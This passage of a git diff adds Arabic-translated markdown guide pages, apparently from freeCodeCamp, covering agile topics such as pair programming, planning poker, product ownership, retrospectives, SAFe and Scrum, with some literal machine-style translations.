+يوصي برنامج Extreme Programming (XP) بكتابة كل كود الإنتاج من قبل اثنين من المبرمجين يعملان في نفس الوقت على نفس الكمبيوتر ، مع تشغيل لوحة المفاتيح. لقد أثبتت العديد من الدراسات الأكاديمية أن برمجة الأزواج تنتج في عدد أقل من الأخطاء والمزيد من البرامج القابلة للإصلاح. يمكن أن تساعد برمجة الزوج أيضًا في نشر المعرفة داخل الفريق ، والمساهمة في [عامل](http://deviq.com/bus-factor/) أكبر [للحافلات](http://deviq.com/bus-factor/) والمساعدة في الترويج [لملكية كود الجماعية](http://deviq.com/collective-code-ownership/) .
+
+#### معلومات اكثر:
+
+*   [أساسيات البرمجة الزوجية (دورة تدريبية)](http://bit.ly/PS-PairProgramming)
+*   [Agile Software Programming Best Practices](https://www.versionone.com/agile-101/agile-software-programming-best-practices/pair-programming/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/parallel-development/index.md b/client/src/guide/arabic/agile/parallel-development/index.md
new file mode 100644
index 0000000000..7fa0ea0280
--- /dev/null
+++ b/client/src/guide/arabic/agile/parallel-development/index.md
@@ -0,0 +1,11 @@
+---
+title: Parallel Development
+localeTitle: التنمية الموازية
+---
+## التنمية الموازية
+
+يقف التطوير الموازي لعملية التطوير منفصلة إلى فروع متعددة ، لتوفير منتج متعدد الاستخدامات مع إصدارات مستقرة وميزات جديدة. في عملية تطوير برامج مباشرة أكثر شيوعًا ، لديك فرع واحد فقط مع إصلاحات وتحسينات للأخطاء ، جنبًا إلى جنب مع الميزات الجديدة. في تطوير موازية يمكن أن تتعايش فروع متعددة.
+
+عادة ما يحتوي التطوير المتوازي على فرع رئيسي "رئيسي" وهو الأكثر استقرارًا ويحتوي على إصلاحات مهمة للرمز الحالي. من الفرع الرئيسي ، يتم إنشاء المزيد من الفروع لإضافة "مسارات" جديدة إلى الشفرة الحالية. توفر هذه الفروع ميزات جديدة ، ولكنها لا تتضمن إصلاحات ، يتم تطبيقها في الوقت الحالي من الفرع الرئيسي. يعرف العملاء عن هذه الإصدارات ولديهم معدات خاصة ، أو آلات اختبار ليتمكنوا من اختبار الميزات الجديدة. عندما يتم تمرير اختبارات ضمان الجودة ، يمكن دمج الفرع الجانبي مع الفرع الرئيسي لتقديم ميزات جديدة إلى نسخة الإصدار.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/pirate-metrics/index.md b/client/src/guide/arabic/agile/pirate-metrics/index.md
new file mode 100644
index 0000000000..2f211f02a8
--- /dev/null
+++ b/client/src/guide/arabic/agile/pirate-metrics/index.md
@@ -0,0 +1,19 @@
+---
+title: Pirate Metrics
+localeTitle: قياسات القراصنة
+---
+## قياسات القراصنة
+
+حدد Dave McClure خمس فئات للمقاييس عالية الأهمية لنجاح الشركات الناشئة: الاستحواذ ، التنشيط ، الاحتفاظ ، الإيرادات ، الإحالة.
+
+صاغ مصطلح "قياسات القراصنة" من اختصار لهذه الفئات الخمس من المقاييس (AARRR).
+
+في كتابهم Lean Analytics ، يفسر Croll و Yoskovitz هذه المقاييس بصريًا باعتبارها مسار تحويل: ![ليين تحليلات الشكل 5.1](https://github.com/yunChigewan/storage/blob/master/figure_5_1.jpg?raw=true) Lean Analytics ، 2013
+
+ومع تفسيرات أكثر وضوحًا كجدول: ![لين تحليلات الجدول 5.1](https://github.com/yunChigewan/storage/blob/master/table_5_1.jpg?raw=true) Lean Analytics ، 2013
+
+#### معلومات اكثر:
+
+*   القراصنة القياسات الأصلية عرض الشرائح (McClure) https://www.slideshare.net/dmc500hats/startup-metrics-for-pirates-long-version
+*   موقع Lean Analytics Book http://leananalyticsbook.com/
+*   فكرة لديها دليل جيد حقا في القياسات القياسات (بما في ذلك تدابير فريق) على [موقعه](http://usenotion.com/aarrrt/) على [الانترنت](http://usenotion.com/aarrrt/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/planning-poker/index.md b/client/src/guide/arabic/agile/planning-poker/index.md
new file mode 100644
index 0000000000..3bef9d8dc0
--- /dev/null
+++ b/client/src/guide/arabic/agile/planning-poker/index.md
@@ -0,0 +1,39 @@
+---
+title: Planning Poker
+localeTitle: تخطيط لعبة البوكر
+---
+## تخطيط لعبة البوكر
+
+### المقدمة
+
+التخطيط للبوكر هو تقنية تقدير وتخطيط في نموذج تطوير Agile. يتم استخدامه لتقدير جهود التطوير المطلوبة [لقصة المستخدم](../user-stories/index.md) أو ميزة.
+
+### معالجة
+
+يتم التخطيط لعبة البوكر لقصة مستخدم واحد في وقت واحد.
+
+يحمل كل مقدّر مجموعة متطابقة من بطاقات البوكر التي تتكون من بطاقات ذات قيم مختلفة. عادةً ما تكون قيم البطاقة من تسلسل فيبوناتشي. يمكن أن تكون الوحدة المستخدمة للقيم عدد الأيام ، أو نقاط القصة ، أو أي نوع آخر من وحدات التقدير التي وافق عليها الفريق.
+
+يشرح مالك المنتج (PO) أو صاحب المصلحة القصة المراد تقديرها.
+
+يناقش الفريق القصة ، ويسأل أي أسئلة توضيحية قد تكون لديهم. يساعد هذا الفريق في الحصول على فهم أفضل _لما_ يريده أمر الشراء.
+
+في نهاية المناقشة ، يختار كل شخص أولاً بطاقة (تمثل تقديره للقصة) دون عرضها على الآخرين. ثم يكشفون عن أوراقهم في نفس الوقت.
+
+إذا كانت جميع البطاقات لها نفس القيمة ، تصبح القيمة هي التقدير للقصة. إذا كانت هناك اختلافات ، يناقش الفريق أسباب القيم التي اختاروها. من الأهمية بمكان أن يقدم أعضاء الفريق الذين قدموا التقديرات الأدنى والأعلى تبريرات لتقديراتهم.
+
+بعد هذه المناقشة ، تتكرر عملية اختيار بطاقة خاصة ثم الكشف عنها في نفس الوقت. يتم ذلك حتى يكون هناك توافق في الآراء حول التقدير.
+
+لأن التخطيط للبوكر هو أداة لتخفيف تقدير الخبير _المشترك_ ، فإنه يؤدي إلى فهم مشترك أفضل وربما تحسين طلب الميزة. إنها ذات قيمة عالية حتى عندما يعمل الفريق في وضع No-Estimates.
+
+يجب على المشرف محاولة تجنب التحيز في التأكيد.
+
+الأشياء الجديرة بالذكر:
+
+*   التقديرات لا يمكن مقارنتها بين الفرق ، حيث أن كل فريق له مجاله الخاص.
+*   يجب أن تتضمن التقديرات كل ما يجب القيام به من أجل القيام بجزء من العمل: التصميم ، الترميز ، الاختبار ، الاتصال ، مراجعة الشفرات (+ جميع المخاطر المحتملة)
+*   إن قيمة استخدام لعبة البوكر التخطيطية هي في المناقشات الناتجة ، لأنها تكشف عن وجهات نظر مختلفة حول التنفيذ المحتمل
+
+### معلومات اكثر:
+
+*   تخطيط فيديو البوكر: [يوتيوب](https://www.youtube.com/watch?v=MrIZMuvjTws)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/product-management/index.md b/client/src/guide/arabic/agile/product-management/index.md
new file mode 100644
index 0000000000..598ab1eb7a
--- /dev/null
+++ b/client/src/guide/arabic/agile/product-management/index.md
@@ -0,0 +1,52 @@
+---
+title: Product Management
+localeTitle: ادارة المنتج
+---
+## ادارة المنتج
+
+إدارة المنتجات هي وظيفة تنظيمية تتحمل المسؤولية عن دورة الحياة الكاملة للمنتجات التي يتم بيعها. كوظيفة عمل ، إدارة المنتجات ، تخضع للمساءلة عن إنشاء قيمة العميل ومزايا قابلة للقياس للأعمال.
+
+هناك بعض المسؤوليات الأساسية المشتركة لمعظم أدوار إدارة المنتج داخل شركات المؤسسة القائمة والشركات الناشئة. غالباً ما تكون إدارة المنتج مسؤولة عن فهم متطلبات العملاء وتحديدها وترتيبها حسب الأولوية ، والعمل مع الفريق الهندسي لبناء هذه المتطلبات. غالبًا ما يُعتبر وضع الإستراتيجية وتحديد خريطة الطريق عملاً واردًا ، وغالبًا ما يُعتبر عرض المنتج إلى السوق "خارجيًا".
+
+من المهم أن نفهم الاختلافات بين إدارة المنتجات الواردة والصادرة ، لأن مدير منتج كبير لديه مجموعة متنوعة من المهارات للقيام بكل من جيد.
+
+الفرق بين إدارة المنتج وإدارة المشاريع هو ، المقياس ودورة الحياة. يقوم مديرو المشروعات بالتأكد من تسليم العديد من المنتجات / الخدمات / المشاريع إلى أحد العملاء ، بينما يتجه مديرو المنتجات إلى ما هو أبعد من التطوير ويعملون من أجل الوصول إلى فترة طويلة وتشغيل منتج / خدمة.
+
+في تطوير اللعبة ، يمكننا رؤية التحول الواضح من المشاريع إلى المنتجات نظرًا للألعاب التي تحتوي على خطط إطلاق ونشر أكثر تفصيلاً واستراتيجيات لتحقيق الدخل.
+
+### إدارة المنتجات الواردة
+
+تشمل إدارة المنتجات الداخلية جمع أبحاث العملاء ، والذكاء التنافسي ، واتجاهات الصناعة بالإضافة إلى وضع الإستراتيجية وإدارة خارطة طريق المنتج.
+
+استراتيجية المنتج وتعريفه (الوارد)
+
+*   الاستراتيجية والرؤية
+*   مقابلات العملاء
+*   تحديد الميزات والمتطلبات
+*   بناء خرائط الطريق
+*   إدارة الإفراج
+*   الذهاب إلى الموارد للهندسة
+*   تدريب المبيعات والدعم
+
+### إدارة المنتجات الصادرة
+
+تشمل إدارة المنتجات الخارجية مسؤوليات تسويق المنتجات مثل: الرسائل والعلامات التجارية ، وتواصل العملاء ، وإطلاق منتجات جديدة ، والإعلانات ، والعلاقات العامة ، والأحداث. اعتمادًا على التنظيم ، يمكن تنفيذ هذه الأدوار من قبل الشخص نفسه أو شخصين مختلفين أو مجموعات مختلفة تعمل معًا بشكل وثيق.
+
+تسويق المنتجات والذهاب إلى السوق (الصادرة)
+
+*   التمايز التنافسية
+*   تحديد المواقع والرسائل
+*   التسمية والعلامات التجارية
+*   الاتصالات العملاء
+*   إطلاق المنتج
+*   علاقات الصحافة والمحللين
+
+### مدير الإنتاج
+
+تستمر إدارة المنتج في التوسع كمهنة. يزداد الطلب على مديري المنتجات المؤهلين على كل المستويات. هناك مجموعة متنوعة من الأدوار والمسؤوليات حسب مستوى الخبرة. تتراوح الفرص من مدير منتج منتسب إلى CPO.
+
+كان معظم مدراء المنتجات في أدوار مختلفة في وقت مبكر من حياتهم المهنية. في كثير من الأحيان ينمو مهندسو البرمجيات أو مهندسو المبيعات أو مستشار الخدمات المهنية في دور مدير المنتج. ولكن في بعض الشركات (مثل Google و Facebook و…) ، يتم تعيين مدراء منتجات صغار مباشرة خارج المدرسة ، مدعومين ببرامج مهنية لتعليمهم في العمل.
+
+#### معلومات اكثر:
+
+صفحة ويكيبيديا: https://en.wikipedia.org/wiki/Product\_management
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/product-owners/index.md b/client/src/guide/arabic/agile/product-owners/index.md
new file mode 100644
index 0000000000..374d222ae8
--- /dev/null
+++ b/client/src/guide/arabic/agile/product-owners/index.md
@@ -0,0 +1,33 @@
+---
+title: Product Owners
+localeTitle: مالكو المنتج
+---
+## مالكو المنتج
+
+يقود مالكو المنتج رؤية المنتج والتخطيط للإصدار. فهي مسؤولة عن تحديد الميزات وتاريخ الإصدار والمحتوى الذي يصنع منتجًا قابلًا للتنزيل. الهدف من مالك المنتج هو بناء الشيء الصحيح بسرعة وبشكل صحيح.
+
+على المستوى العالي ، يكون مالك المنتج مسؤولاً عن ما يلي:
+
+*   مالك رؤية المنتج
+*   يؤدي الافراج عن التخطيط
+*   يحدد الميزات ومحتوى الإصدار
+*   يدير فهم الفريق للإصدار
+*   يخلق ويرعى تراكم المنتج
+*   يعطي الأولوية لأعلى تراكم المنتج
+*   فريق الأدلة من خلال دورة الإصدار
+*   يتخذ قرارات المقايضة
+*   يقبل أو يرفض العمل
+
+ينشئ مالك المنتج تراكمًا للعناصر التي يعتقد أنها ستجعل منتجًا جيدًا. تستند هذه المعرفة على فهمهم للسوق ، واختبار المستخدم ، وإسقاط السوق. يعدّل مالكو المنتج الأهداف طويلة الأجل للمنتج بناءً على التعليقات التي يتلقونها من المستخدمين وأصحاب المصلحة. كما أنها بمثابة نقطة الاتصال مع أصحاب المصلحة وإدارة نطاق وتوقعات.
+
+بمجرد أن يتلقى مالك المنتج تعليقات من مختلف أصحاب المصلحة ، يقومون بعد ذلك بتنقيح الأعمال المتأخرة لإضافة أكبر قدر ممكن من التفاصيل من أجل إنشاء منتج قابل للتطبيق (MVP) لهذا الإصدار.
+
+ثم يعطي مالك المنتج الأولوية لحملة العمل للتأكد من أن القصص المكتملة تتناول كل من قيمة العمل وأهداف المستخدمين. كذلك ، إذا كانت هناك مخاطر مرتبطة ببعض القصص ، يضع مالك المنتج تلك الموجودة في الجزء العلوي من المتأخرات حتى يتم التعامل مع المخاطر في وقت مبكر.
+
+من خلال العمل مع الفريق و Scrum Master ، يحضر مالك المنتج اجتماعات تخطيط السباقات من أجل إعداد قصص مدهشة في السباق. خلال فترة الركض ، يضمن مالك المنتج أن يقوم الفريق بإكمال العمل وفقًا لتعريف Done (DoD) ، والإجابة على أية أسئلة قد تطرأ ، وتحديث أصحاب المصلحة.
+
+عند اكتمال السرعة ، يشارك مالك المنتج في مراجعة Sprint مع أصحاب المصلحة الآخرين. للتأكد من أن كل قصة تتوافق مع وزارة الدفاع ، فإن مالك المنتج يستعد لسباق السرعة التالي من خلال جمع التعليقات وتحديد أولويات العمل بناءً على ما تم إكماله.
+
+### معلومات اكثر:
+
+*   ملكية المنتج Agile في فيديو Nutshell: [YouTube](https://www.youtube.com/watch?v=502ILHjX9EE)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/rapid-application-development/index.md b/client/src/guide/arabic/agile/rapid-application-development/index.md
new file mode 100644
index 0000000000..efa5a904ec
--- /dev/null
+++ b/client/src/guide/arabic/agile/rapid-application-development/index.md
@@ -0,0 +1,14 @@
+---
+title: Rapid Application Development
+localeTitle: التطوير السريع للتطبيق
+---
+## التطوير السريع للتطبيق
+
+تم تطوير تطوير التطبيقات السريعة (RAD) كرد فعل على مشاكل منهجيات تطوير البرمجيات التقليدية ، وخاصة مشاكل فترات التطوير الطويلة. كما يتناول المشاكل المرتبطة بتغيير المتطلبات خلال عملية التطوير.
+
+المبادئ الرئيسية لل RAD هي كما يلي: 1) تنمية تدريجية. هذه هي الوسيلة الرئيسية التي يعالج بها RAD المتطلبات المتغيرة. ستظهر بعض المتطلبات فقط عندما يرى المستخدمون النظام قيد الاستخدام ويختبرونه. لا ينظر إلى المتطلبات على أنها كاملة - فهي تتطور بمرور الوقت بسبب الظروف المتغيرة. تبدأ عملية RAD بقائمة عالية المستوى وغير محددة من المتطلبات التي يتم تنقيحها أثناء عملية التطوير. 2) Timeboxing. مع timeboxing ، يتم تقسيم النظام إلى عدد من المكونات أو timeboxes التي يتم تطويرها بشكل منفصل. يتم تطوير المتطلبات الأكثر أهمية في timebox الأول. يتم تسليم الميزات بسرعة وبشكل متكرر. 3) مبدأ باريتو. يُعرف أيضًا باسم قاعدة 80/20 ، وهذا يعني أنه يمكن تسليم حوالي 80٪ من وظائف النظام بحوالي 20٪ من إجمالي الجهد المطلوب. لذلك ، فإن آخر (وأكثرها تعقيدًا) 20٪ من المتطلبات تتطلب أقصى مجهود ووقت للتسليم. لذا ، يجب أن تختار أكثر من 80٪ لتسليمها قدر الإمكان في إطار timeboxes القليلة الأولى. أما الباقي ، إذا ثبت أنه ضروري ، فيمكن تسليمه في timeboxes لاحقة. 4) قواعد MoSCoW. MoSCoW هي طريقة تستخدم لتحديد أولويات بنود العمل في تطوير البرمجيات. يتم تصنيف العناصر كما يجب ، يجب أن يكون لديك ، يمكن أن يكون أو يريد أن يكون. يجب أن تكون العناصر هي تلك التي يجب تضمينها في منتج ليتم قبولها في الإصدار ، مع التصنيفات الأخرى في الأولوية التنازلية. 5) ورش عمل JAD. تطوير التطبيقات المشتركة (JAD) هو عبارة عن اجتماع يتم تسهيله حيث يتم تنفيذ تجميع المتطلبات ، وخاصة إجراء مقابلات مع مستخدمي النظام الذي سيتم تطويره. ﻋﺎدة ﻣﺎ ﺗﺟرى ورﺷﺔ ﻋﻣل JAD ﻓﻲ وﻗت ﻣﺑﮐر ﻓﻲ ﻋﻣﻟﯾﺔ اﻟﺗﻧﻣﯾﺔ ، ﻋﻟﯽ اﻟرﻏم ﻣن أﻧﮫ ﯾﻣﮐن ﺗﻧظﯾم اﺟﺗﻣﺎﻋﺎت إﺿﺎﻓﯾﺔ إذا ﻟزم اﻷﻣر ﻓﻲ وﻗت ﻻﺣق ﻣن اﻟﻌﻣﻟﯾﺔ. 6) النماذج. يساعد إنشاء نموذج أولي على إنشاء متطلبات المستخدم وتوضيحها ، وفي بعض الحالات يتطور ليصبح النظام نفسه. 7) الراعي والبطل. الراعي التنفيذي هو شخص داخل المنظمة يريد النظام ويلتزم بتحقيقه ومستعد لتمويله. البطل هو شخص ما ، عادة ما يكون في مستوى أدنى من الأقدمية من مسؤول تنفيذي ، ملتزم بالمشروع ومستعد لدفعه إلى الأمام حتى الانتهاء. 8) أدوات. عادة ما يعتمد RAD أدوات مجموعة كوسيلة لتسريع عملية التطوير وتحسين الإنتاجية. تتوفر أدوات للتحكم في التغيير وإدارة التكوين وإعادة استخدام الكود.
+
+#### معلومات اكثر:
+
+*   https://en.wikipedia.org/wiki/ تطوير _تطبيق_ رابيد - مقالة ويكيبيديا على RAD
+*   https://www.tutorialspoint.com/sdlc/sdlc _rad_ model.htm - البرنامج التعليمي TutorialsPoint على RAD
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/rational-unified-process/index.md b/client/src/guide/arabic/agile/rational-unified-process/index.md
new file mode 100644
index 0000000000..3190021bfa
--- /dev/null
+++ b/client/src/guide/arabic/agile/rational-unified-process/index.md
@@ -0,0 +1,11 @@
+---
+title: Rational Unified Process
+localeTitle: عملية موحدة عقلانية
+---
+## عملية موحدة عقلانية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/rational-unified-process/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/release-planning/index.md b/client/src/guide/arabic/agile/release-planning/index.md
new file mode 100644
index 0000000000..977ed4977b
--- /dev/null
+++ b/client/src/guide/arabic/agile/release-planning/index.md
@@ -0,0 +1,11 @@
+---
+title: Release Planning
+localeTitle: تخطيط الإصدار
+---
+## تخطيط الإصدار
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/release-planning/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/release-trains/index.md b/client/src/guide/arabic/agile/release-trains/index.md
new file mode 100644
index 0000000000..48a4c59f2e
--- /dev/null
+++ b/client/src/guide/arabic/agile/release-trains/index.md
@@ -0,0 +1,19 @@
+---
+title: Release Trains
+localeTitle: الافراج عن القطارات
+---
+## الافراج عن القطارات
+
+يعد قطار الإصدار (المعروف أيضًا باسم قطار الإصدار السريع أو ART) فريقًا طويل العمر من فرق Agile ، التي تقوم ، جنبًا إلى جنب مع أصحاب المصلحة الآخرين ، بتطوير وتقديم الحلول بشكل متزايد ، وذلك باستخدام سلسلة من التكرارات ذات الطول الثابت ضمن زيادة البرنامج ( PI) timebox. يقوم ART بمحاذاة الفرق إلى مهمة تجارية وتقنية مشتركة.
+
+## تفاصيل
+
+ART هي متعددة الوظائف ولديها جميع القدرات - البرامج والأجهزة والبرامج الثابتة وغيرها - اللازمة لتحديد وظائف النظام الجديدة وتنفيذها واختبارها ونشرها. تعمل ART بهدف تحقيق تدفق مستمر للقيمة.
+
+تتضمن ART أدوات التعريف التي تعمل على تحديد الميزات والمكونات وإنشائها واختبارها. لدى فرق SAFe خيارًا من الممارسات الرشيقة ، التي تعتمد أساسًا على Scrum و XP و Kanban. تشمل ممارسات جودة البرمجيات التكامل المستمر والاختبار أولاً وإعادة بيع ديون والعمل الزوجي والملكية الجماعية. يتم دعم جودة الأجهزة من خلال الاستكشافات المبكرة الاستكشافية ، والتكامل المتكرر على مستوى النظام ، والتحقق من التصميم ، والنمذجة ، والتصميم المعتمد على المجموعة.
+
+الهندسة المعمارية رشيقة تدعم جودة البرامج والأجهزة. يحتوي كل فريق Agile على ما بين 5 إلى 9 من المساهمين الفرديين المتفانين ، حيث يقومون بتغطية جميع الأدوار اللازمة لبناء زيادة جودة للقيمة للتكرار. يمكن للفرق تقديم البرامج والأجهزة وأي مجموعة. وبالطبع ، فإن فرق Agile ضمن ART هي نفسها وظيفية.
+
+#### معلومات اكثر:
+
+[رشيق التدريج](http://www.scaledagileframework.com/agile-release-train/) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/retrospectives/index.md b/client/src/guide/arabic/agile/retrospectives/index.md
new file mode 100644
index 0000000000..5c558c8bf5
--- /dev/null
+++ b/client/src/guide/arabic/agile/retrospectives/index.md
@@ -0,0 +1,43 @@
+---
+title: Retrospectives
+localeTitle: استعادية
+---
+## استعادية
+
+يمكن أن يكون Sprint Retrospective أكثر فائدة وأهمية لحفلات سكروم.
+
+يعتبر مفهوم _"الفحص والتكيف"_ أمرًا ضروريًا لإنشاء فريق ناجح ومزدهر.
+
+جدول الأعمال القياسي لأثر رجعي هو:
+
+*   ماذا سنفعل؟
+*   ماذا نتوقف عن فعله؟
+*   ماذا نبدأ في فعله؟
+*   من نريد أن نقول شكرا لك؟ (ليس من الضروري ولكن الممارسة الجيدة)
+
+ومن خلال هذه المناقشة ، ينشئ الفريق قائمة من السلوكيات التي يعملون عليها ، بشكل جماعي ، مع مرور الوقت.
+
+عند الالتفات إلى عناصر العمل ، تأكد من التركيز على 1 - 3. من الأفضل أن تقوم بالزوجين ، بدلاً من الإلتزام بالمزيد وعدم القيام به. إذا كان من الصعب وضع إجراءات ، فجرّب إجراء التجارب: اكتب ما ستفعله وما تريد تحقيقه من خلال ذلك. في الاختيار الرجعية التالية ما إذا كنت قد حققت ما كنت قد خططت. إذا لم يحدث ذلك - يمكنك التعلم من التجربة وتجربة شيء آخر.
+
+نهج جيد لمعرفة المواضيع التي ينبغي مناقشتها هي _"مناقشة وذكر"_ . وهو يتألف من لوحة تحتوي على عدد كبير من الأعمدة كأشخاص في الفريق (يمكنك استخدام شيء مثل Trello أو مجرد لوحة بيضاء عادية) واثنين آخرين للأشياء "للمناقشة" وتلك التي سيتم "ذكرها". كل شخص لديه 10 دقائق لملء عمودهم بأشياء من العدو الأخير الذي يريدون إبرازه (يتم تمثيلهم بالبطاقات أو ما بعدها). بعد ذلك ، يشرح كل عضو في الفريق كل عنصر من البنود الخاصة به. وأخيرًا ، يختار كل عضو في الفريق الموضوعات التي يعتقدون أنه يجب ذكرها أو مناقشتها ، وذلك عن طريق تحريك البطاقة / نشرها إلى العمود على التوالي. ثم يقرر الفريق الموضوعات التي ينبغي مناقشتها والتحدث عنها لمدة 10 دقائق.
+
+دعوة فريق سكروم فقط لأثر رجعي. (فريق التسليم ، مالك المنتج ، سكروم ماستر). تثبيط المديرين وأصحاب المصلحة وشركاء الأعمال ، وما إلى ذلك. فهي تشتيت الانتباه ويمكن أن تعوق الشعور بالانفتاح الذي يحتاجه الفريق.
+
+عند إجراء بحث استعادي ، تأكد من أنه في أول 5 إلى 10 دقائق ، يقول كل شخص على الأقل بضع كلمات. عندما يتحدث أعضاء الفريق في بداية الاجتماع ، فمن الأرجح أنهم يساهمون خلال الاجتماع بأكمله.
+
+من المفيد أن يظل الفريق منتجا خلال فترة استعادة الأحداث. طريقة بسيطة لإبقاء الناس في حالة مزاجية إيجابية هي التركيز على ما هو في سيطرة الفريق.
+
+*   لفريق مشترك ، وبطاقات الفهرسة وعمل ما بعدها كبيرة لهذه العملية.
+*   بالنسبة للفرق الموزعة ، هناك مجموعة متنوعة من الأدوات والتطبيقات عبر الإنترنت لتسهيل المناقشة
+*   https://www.senseitool.com/home
+*   http://www.leancoffeetable.com/
+
+يجب ذكر عناصر الإجراءات على لوحة لجعل تتبع التقدم مرئيًا وأكثر تمييزًا. يجب أن تبدأ كل مراجعة استرجاعية جديدة بمراجعة حالة بنود العمل التي تم اتخاذ قرار بشأنها خلال عملية الاستعادة _السابقة_ .
+
+#### معلومات اكثر:
+
+*   الإلهام لإعداد دراسة استعادية:
+*   https://plans-for-retrospectives.com/en/
+*   http://www.funretrospectives.com/
+*   كيفية تشغيل التجارب مع تدفق الفشار:
+*   https://www.slideshare.net/cperrone/popcornflow-continuous-evolution-through-ultrarapid-experimentation
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/safe/index.md b/client/src/guide/arabic/agile/safe/index.md
new file mode 100644
index 0000000000..1818c09bfa
--- /dev/null
+++ b/client/src/guide/arabic/agile/safe/index.md
@@ -0,0 +1,39 @@
+---
+title: SAFe
+localeTitle: آمنة
+---
+## آمنة
+
+SAFe لتقف على "إطار رشيق مقياس" ، وهو إطار تطوير البرمجيات رشيقة التي تم تصميمها لتطوير رشيقة واسعة النطاق التي تنطوي على العديد من الفرق.
+
+الموقع الرئيسي ( [http://www.scaledagileframework.com/](http://www.scaledagileframework.com/) ) هو قاعدة معارف متاحة على الإنترنت متاحة مجاناً عن تطبيق SAFe.
+
+## مبادئ
+
+هناك تسعة مبادئ أساسية للسفينة
+
+1.  **اتخاذ وجهة نظر اقتصادية** - تقييم التكاليف الاقتصادية للقرارات والتطورات والمخاطر
+2.  **تطبيق أنظمة التفكير** - عمليات التطوير هي تفاعلات بين الأنظمة المستخدمة من قبل العمال وبالتالي تحتاج إلى عرض التقدم في التفكير المنظوماتي
+3.  **افترض تقلب الحفاظ على الخيارات** - تتغير المتطلبات ، وتكون مرنة ، وتستخدم البيانات التجريبية لتضييق نطاق التركيز
+4.  **بناء تدريجيًا مع دورات تعلم سريعة ومتكاملة** - **التصاميم** السريعة والمتزايدة تسمح بردود الفعل السريعة لتغيير المشروع إذا لزم الأمر
+5.  **المعالم الأساسية في التقييم الموضوعي لنظم العمل** - يوفر التقييم الموضوعي معلومات هامة مثل البيانات المالية والحوكمة كردود فعل
+6.  **تصور وتخفيض WIP ، والحد من أحجام الدُفعات ، وإدارة أطوال قائمة الانتظار** - قم بذلك لتحقيق التدفق المستمر للتحرك بسرعة وتصور التقدم ؛ WIP = العمل قيد التقدم
+7.  **تطبيق الإيقاع والتزامن مع التخطيط عبر النطاقات** - الإيقاع هو إعداد التواريخ عند حدوث أحداث معينة (على سبيل المثال إطلاق أسبوعيًا) والتزامن يجعل كل شخص لديه نفس الأهداف في الحسبان
+8.  **أطلق العنان للدوافع الجوهرية للعاملين في مجال المعرفة** - فالناس يعملون بشكل أفضل عندما تستخدمون دوافعهم الشخصية
+9.  **لا مركزية صنع القرار** - يتيح اتخاذ إجراء أسرع ، وهو ما قد لا يكون الحل الأفضل ، ولكنه يتيح اتصال أسرع بين الفرق ؛ قد يكون صنع القرار المركزي ضروريًا لاتخاذ قرارات أكثر استراتيجية أو عالمية
+
+## تكوينات
+
+هناك أربعة أنواع من SAFe ، تختلف في تعقيد احتياجات مشروعك:
+
+1.  السلامة الأساسية
+2.  محفظة الأوراق المالية
+3.  حل كبير آمن
+4.  كامل آمنه
+
+#### معلومات اكثر:
+
+*   [إطار رشيق متدرج](https://en.wikipedia.org/wiki/Scaled_Agile_Framework)
+*   [ما هو آمن؟](http://www.scaledagileframework.com/what-is-safe/)
+*   [العناصر الأساسية العشر](http://www.scaledagileframework.com/essential-safe/)
+*   [مبادئ آمنة](http://www.scaledagileframework.com/safe-lean-agile-principles/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/scrum/index.md b/client/src/guide/arabic/agile/scrum/index.md
new file mode 100644
index 0000000000..6110dc8596
--- /dev/null
+++ b/client/src/guide/arabic/agile/scrum/index.md
@@ -0,0 +1,46 @@
+---
+title: Scrum
+localeTitle: سكروم
+---
+## سكروم
+
+Scrum هي واحدة من المنهجيات تحت مظلة Agile. يشتق الاسم من طريقة لاستئناف اللعب في رياضة الرجبي ، حيث يتحرك الفريق بأكمله معًا ليحرز مكانًا. وبالمثل ، فإن scrum في Agile ينطوي على جميع أجزاء الفريق التي تعمل على نفس مجموعة الأهداف. في طريقة scrum ، يتم عرض قائمة المهام ذات الأولوية على الفريق ، وعلى مدار "العدو" (عادة أسبوعين) ، يتم إكمال هذه المهام ، بالترتيب ، من قبل الفريق. هذا يضمن الانتهاء من المهام أو التسليمات ذات الأولوية القصوى قبل نفاد الوقت أو الأموال.
+
+### مكونات سكروم
+
+Scrum هي واحدة من المنهجيات تحت مظلة Agile. ينشأ من "scrummage" وهو مصطلح يستخدم في لعبة الركبي للإشارة إلى اللاعبين المتجمعين معا للحصول على الكرة. هذه الممارسة تدور حولها
+
+*   مجموعة من الأدوار (فريق التسليم ، مالك المنتج ، و scrum master)
+*   الاحتفالات (تخطيط العدو ، الاستعداد اليومي ، استعراض العدو ، الاستعراض السريع ، الاستمالة المتراكبة)
+*   التحف (تراكم المنتجات ، تراكمات العدو ، زيادة المنتج ، ومشعات المعلومات والتقارير).
+*   الهدف الرئيسي هو الحفاظ على محاذاة الفريق حول تقدم المشروع لتسهيل التكرار السريع.
+*   اختارت العديد من المنظمات Scrum ، لأنه على عكس نموذج الشلال ، فإنه يضمن التسليم في نهاية كل سبرينت.
+
+## الآثار
+
+*   Sprint: هي المدة الزمنية ، معظمها في الأسابيع ، والتي يعمل فيها فريق لتحقيق أو إنشاء نتيجة. يمكن تعريف الناتج على أنه جزء من شفرة جزء من المنتج النهائي الذي يريد الفريق تحقيقه. ينصح Scrum بإبقاء مدة Sprint بين 2-4 أسابيع.
